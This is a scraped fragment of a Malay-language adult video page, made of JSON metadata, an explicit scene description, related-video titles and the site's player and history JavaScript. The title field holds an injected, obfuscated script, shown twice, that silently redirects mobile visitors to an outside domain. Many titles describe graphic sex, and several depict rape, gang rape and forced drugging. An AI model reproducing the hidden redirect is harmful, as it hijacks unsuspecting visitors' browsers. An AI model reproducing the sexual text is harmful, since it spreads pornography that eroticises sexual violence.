</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kegilaan Pagi MiniDiva! Suri Rumah Berkualiti Tinggi Menolak Kopi, Hanya Mencari Seks Eksplosif dan Inseminasi
Kegilaan Pagi MiniDiva! Suri Rumah Berkualiti Tinggi Menolak Kopi, Hanya Mencari Seks Eksplosif dan Inseminasi","site_id":0,"video_url":"https://2605.fhbbff.com/20260701/LyqzjSn3/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZmRhM2IxOGYxNjdhZTMxM2MwZDdjYWRhNTU2YmNkNjcuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":752,"description":"Cahaya matahari pagi menyinari melalui langsir. MiniDiva berbaring lesu di atas cadar yang kusut masai, payudaranya yang besar dan putih salji menjenguk keluar dari bawah baju tidurnya yang berenda, putingnya sudah tegak. Dia menjilat bibirnya lembut, matanya berkaca, dan berkata, \"Selamat pagi, kopi saya adalah awak.\" Kemudian, dia membuka kakinya, mendedahkan vulvanya yang sudah basah, cecair mengalir di pahanya. Lelaki itu menunduk, zakarnya yang besar menghala ke kelentitnya, dan menusuk ke dalam dalam-dalam. Dia mendongakkan kepalanya ke belakang dan mengerang, pinggulnya berayun liar sebagai tindak balas. Setiap tusukan menghasilkan bunyi berdecit, ombak beralun payudara dan punggungnya membuatkan katil berderit. Mata MiniDiva memusing ke belakang ketika dia disetubuhi sehingga dinding farajnya kejang dan menegang semasa orgasme. Akhirnya, lelaki itu menggeram ketika dia memancutkan air mani panasnya jauh ke dalam rahimnya. Dia menggeletar, cecairnya bercampur dengan cecairnya sendiri, menitis ke pahanya ke atas cadar. Ini adalah pagi yang terbaik, pesta seksual yang lebih ketagihan daripada kopi.","tag":["Pagi","Gila","Kualiti terbaik","Suri rumah yang terbaik","isteri","berputus asa","kopi","Seks Letupan","Kekuatan kasar dan ejakulasi di dalam","Suntikan"],"site_url":"229111","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZmRhM2IxOGYxNjdhZTMxM2MwZDdjYWRhNTU2YmNkNjcuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"MiniDiva晨间狂干!极品人妻放弃咖啡只求爆操内射","s_keywords":"MiniDiva晨间狂干!极品人妻放弃咖啡只求爆操内射","s_description":"Kegilaan Pagi MiniDiva! Suri Rumah Berkualiti Tinggi Menolak Kopi, Hanya Mencari Seks Eksplosif dan Inseminasi","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTQ5YTgxYWE1NjcxOWU1MWEwZDE2MDNjYTBkNDRhNTIuanBn.cache","vod_id":19221382,"title":"BBTU-109 Idola Berpayudara Gergasi Shiga Noamo Perkhidmatan Tekak Dalam, Payudara Lucah Menggetarkan, Letupan Tekak dengan Jus yang Mengalir","lastmod":"2026-03-11","duration":"1:46:53","url":"/play/19221382.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjI2ZmIyYmM3ZGY2ODM0YzgzNjljMTE2N2RlZGJmYmEuanBn.cache","vod_id":19167638,"title":"IENE973 ternampak seorang wanita cantik yang sudah berkahwin di Shinjuku yang membersihkan punggung seorang lelaki kulit hitam dan kemudian melakukan hubungan seks dengannya.","lastmod":"2025-03-29","duration":"02:10:49","url":"/play/19167638.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvODhjNDhkNTAwZjVhOTk4NDhlYWY4Y2RhMWMzM2RmZTEuanBn.cache","vod_id":19246431,"title":"Pengantin perempuan yang telah berkahwin dan dicumbui oleh lelaki berotot secara bergilir-gilir","lastmod":"2026-07-13","duration":"","url":"/play/19246431.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjNiZGFmYmU4NmY1YjY0MjVmNmRiNjk1ZTA4MDhhNTIuanBn.cache","vod_id":19228297,"title":"Kemaksiatan di dapur! Seorang suri rumah yang miang menggunakan farajnya sebagai mangkuk, meneguk kuah mi segera panas yang mendidih, dan ditiduri dengan kejam sehingga dia hilang kawalan ke atas pundi kencingnya semasa makan.","lastmod":"2026-04-09","duration":"0:11:32","url":"/play/19228297.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTFjODhhN2FhMDA5ZjUzYzdkYThjYmVjODgyNmFhYjMuanBn.cache","vod_id":19223014,"title":"[Kisah Seorang Gadis Peringkat Atasan] Seorang wanita Eropah dan Amerika yang seksi dengan seluar kulit hitam mengambil inisiatif untuk menunggangnya, terlibat dalam seks yang liar dan sengit, dengan air maninya terpercik ke mana-mana.","lastmod":"2026-03-20","duration":"0:34:26","url":"/play/19223014.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvOGMwZTBmMjkzOGVlZDBjMzUzYTJlMmYxZTBlNGEwZmQuanBn.cache","vod_id":19238194,"title":"Payudara besar MD0072 Luo Jinxuan telah disetubuhi dengan kejam dan dipancutkan di dalam dirinya semasa Festival Perahu Naga.","lastmod":"2026-05-31","duration":"0:31:19","url":"/play/19238194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDk0MmRmZGI1NWI4ZWU4MTZjODJhYWE5MTYwZDQzMmEuanBn.cache","vod_id":19128995,"title":"#Wanwaner_Lingerie, stoking hitam, kaki panjang, gadis berkulit cerah berkualiti tinggi, muka terdedah, alat peraga, melancap, posisi menunggang, penembusan, air mani putih mengalir bebas.","lastmod":"2025-03-29","duration":"","url":"/play/19128995.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMzI5ZmJjNDBmMGYzNTBkOWE4YjY5ZTA0ZWI3NDZkZDMuanBn.cache","vod_id":19245175,"title":"Memandu Mercedes-Benz G-Class dan menyimpan seorang lelaki berotot sebagai perempuan simpanan! Influencer kecergasan peringkat tinggi ditiduri sehingga kemaluannya memancut dan merayu belas kasihan. ...title>Memandu Mercedes-Benz G-Class dan menyimpan seorang lelaki berotot sebagai perempuan simpanan! Influencer kecergasan peringkat tinggi ditiduri sehingga kemaluannya memancut dan merayu belas kasihan.","lastmod":"2026-07-11","duration":"","url":"/play/19245175.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDkvNWYxM2I2NzE1MjA3ZGQwNTlkYTYxZjcyMThkZWI4NTcuanBn.cache","vod_id":19172189,"title":"SW-125, sebuah bas yang penuh dengan wanita cantik yang sudah berkahwin, terharu. Afrodisiak disuntik ke kawasan sensitif, memaksa mereka mencapai klimaks yang dipaksa. Ketiga-tiga mereka—Amamiya Kotone, Araki Arisa, dan Kitajima An—menggeletar dalam diam.","lastmod":"2025-04-09","duration":"01:59:57","url":"/play/19172189.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMGY3ZTFiYTU4NDI4NGZiZmRlZWNiOWE0ZDUyYmNjYzkuanBn.cache","vod_id":19228555,"title":"Gadis Elf MMD dengan Payudara Besar Mendapat Fuck Secara Gawat dan Orgasme oleh Binatang Gergasi","lastmod":"2026-04-11","duration":"0:04:16","url":"/play/19228555.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTMvYzk4NjhlODhjZjI3Mjg5MDcxYTMzYjA1YWY2ZjQwNTMuanBn.cache","vod_id":19189408,"title":"Berapa banyak orgasme? Lubang merah jambunya yang lembut itu memancar tanpa kawalan, begitu nikmat sehingga saya hilang ingatan! Lubang yang indah itu terlalu menggoda.","lastmod":"2025-08-12","duration":"42:59","url":"/play/19189408.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDEyYjcyZTUyOTZlNzNiZjBhNDU1YTQyN2JhZjRlNjIuanBn.cache","vod_id":19222029,"title":"Pengajar yoga peringkat tinggi melakukan belahan dengan punggung berbentuk pic, mengongkek farajnya dengan kuat sehingga dia menangis.","lastmod":"2026-03-16","duration":"0:33:38","url":"/play/19222029.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTIzMmEwZDEzNDhhMDQ2NTE1YjgzZTAyNzc3YmJhMTAuanBn.cache","vod_id":19101782,"title":"[Sarikata Bahasa Cina] JUQ-366 Untuk Kegunaan Peribadi Sahaja!! Seorang wanita yang sudah berkahwin dan berkelakuan baik, seorang pembantu rumah yang akan mematuhi perintah bapa saudaranya sepenuhnya. Latihan pembiakan selama berhari-hari. Kyoka Tachibana","lastmod":"2025-03-29","duration":"02:32:57","url":"/play/19101782.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTYvZjkzZGNlZmJiYmYwMjMwOWU1YWQ4OWE0MmVkODhhMzAuanBn.cache","vod_id":19194767,"title":"Jingdong 046: Kisah Sebenar Pertemuan Seksual dalam Masyarakat Primitif! Seorang PhD arkeologi wanita cantik mengembara kembali ke Zaman Batu dan dirogol secara beramai-ramai dan dimancutkan ejakulasi di dalam oleh lelaki kuat dari suku primitif!","lastmod":"2025-09-15","duration":"30:19","url":"/play/19194767.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzZkN2UyNjdlMTMxM2IyMDYwNjY4ZjEwMTUyM2ZkYjYuanBn.cache","vod_id":19142377,"title":"OKP041 Pantyhose Ilahi Maharaja Minghai telah merasai kaki cantik wanita yang sudah berkahwin, ibu, dan wanita pejabat yang berpakaian seragam!","lastmod":"2025-03-29","duration":"01:33:10","url":"/play/19142377.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmNhMTQ2NTEyM2EwMThlNDdmZDJmM2UxYjFiZWRmNmQuanBn.cache","vod_id":19130983,"title":"Wanita muda yang cantik dan menawan","lastmod":"2025-03-29","duration":"","url":"/play/19130983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDUvZjI2NGY1YzJjYzFiZmE1ZTc1MmY1YTBjMTE1ZDExMjkuanBn.cache","vod_id":19171673,"title":"Seorang wanita berkahwin yang kecewa secara seksual dan bekerja sambilan, posisi menunggangnya yang tabah seperti mesingan, Shinmura Akira WAAA-238-C.","lastmod":"2025-04-05","duration":"02:03:40","url":"/play/19171673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTJiZjcxMGM4MmU4MmIyMGE2MjRmNDk4YTkyMTU5MTAuanBn.cache","vod_id":19130613,"title":"MRSS-141 dan seks mesum suri rumah wanita yang cantik [sari kata Cina]","lastmod":"2025-03-29","duration":"53:49","url":"/play/19130613.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDczZTdmMmNmODU1MzQ5ODlkYjAzYWQ0YTg4YzAyMmQuanBn.cache","vod_id":19049942,"title":"Ejakulasi tanpa perlindungan adalah adat yang boleh disaksikan sepenuhnya.","lastmod":"2025-03-28","duration":"","url":"/play/19049942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzAxYTI5ODQzYjI0ZTI2ZjMwOTQzOGZmYzU5MDM2NGEuanBn.cache","vod_id":19217473,"title":"Seorang selebriti internet yang sangat cantik telah digoda; strim langsung permainannya bertukar menjadi adegan pesta pora, farajnya disetubuhi dengan kejam sehingga cairannya berterbangan ke mana-mana.","lastmod":"2026-02-13","duration":"0:16:16","url":"/play/19217473.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2I1NGY5OTE2N2E5MzFhZmU1NDllZDU3N2UwODJmNzAuanBn.cache","vod_id":19234002,"title":"DASD-353 Suri rumah yang montok lari dari rumah dan dirogol secara kejam serta dipancutkan air mani di dalam oleh seorang lelaki berotot di jalanan.","lastmod":"2026-05-11","duration":"0:10:37","url":"/play/19234002.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmJiNGVjNWZiNDcxMTdmMTg1ZjdhNGI3NDdhOWM3MmYuanBn.cache","vod_id":19211406,"title":"Sebuah parti untuk lelaki pertengahan umur! Lima graduan baru dan gadis muda dalam parti lucah, dan tiga pelajar wanita terkemuka untuk saya bermain bersama!","lastmod":"2025-12-25","duration":"1:34:05","url":"/play/19211406.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvODc1OTk4ZWJiODIzN2U1OGVlZWJhZDE5NTNmOGY1NjEuanBn.cache","vod_id":19242680,"title":"018 Nagano Suzu: Diseksa dengan ganas dan dimancutkan air mani di dalam pada hari yang berbahaya, diseksa sehingga dia meletup di tempat kejadian.","lastmod":"2026-06-27","duration":"2:04:25","url":"/play/19242680.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmFjZDQwNmYxNWExM2M3NzgyMDc5YThjZjZhNmZlYjAuanBn.cache","vod_id":19214743,"title":"Cosplay Genshin Impact oleh Yanfei: Cosplay Lawful Girl yang seksi dengan penampilan basah dan memikat, menampilkan ejakulasi dalaman.","lastmod":"2026-02-02","duration":"0:02:43","url":"/play/19214743.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kegilaan Pagi MiniDiva! Suri Rumah Berkualiti Tinggi Menolak Kopi, Hanya Mencari Seks Eksplosif dan Inseminasi',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}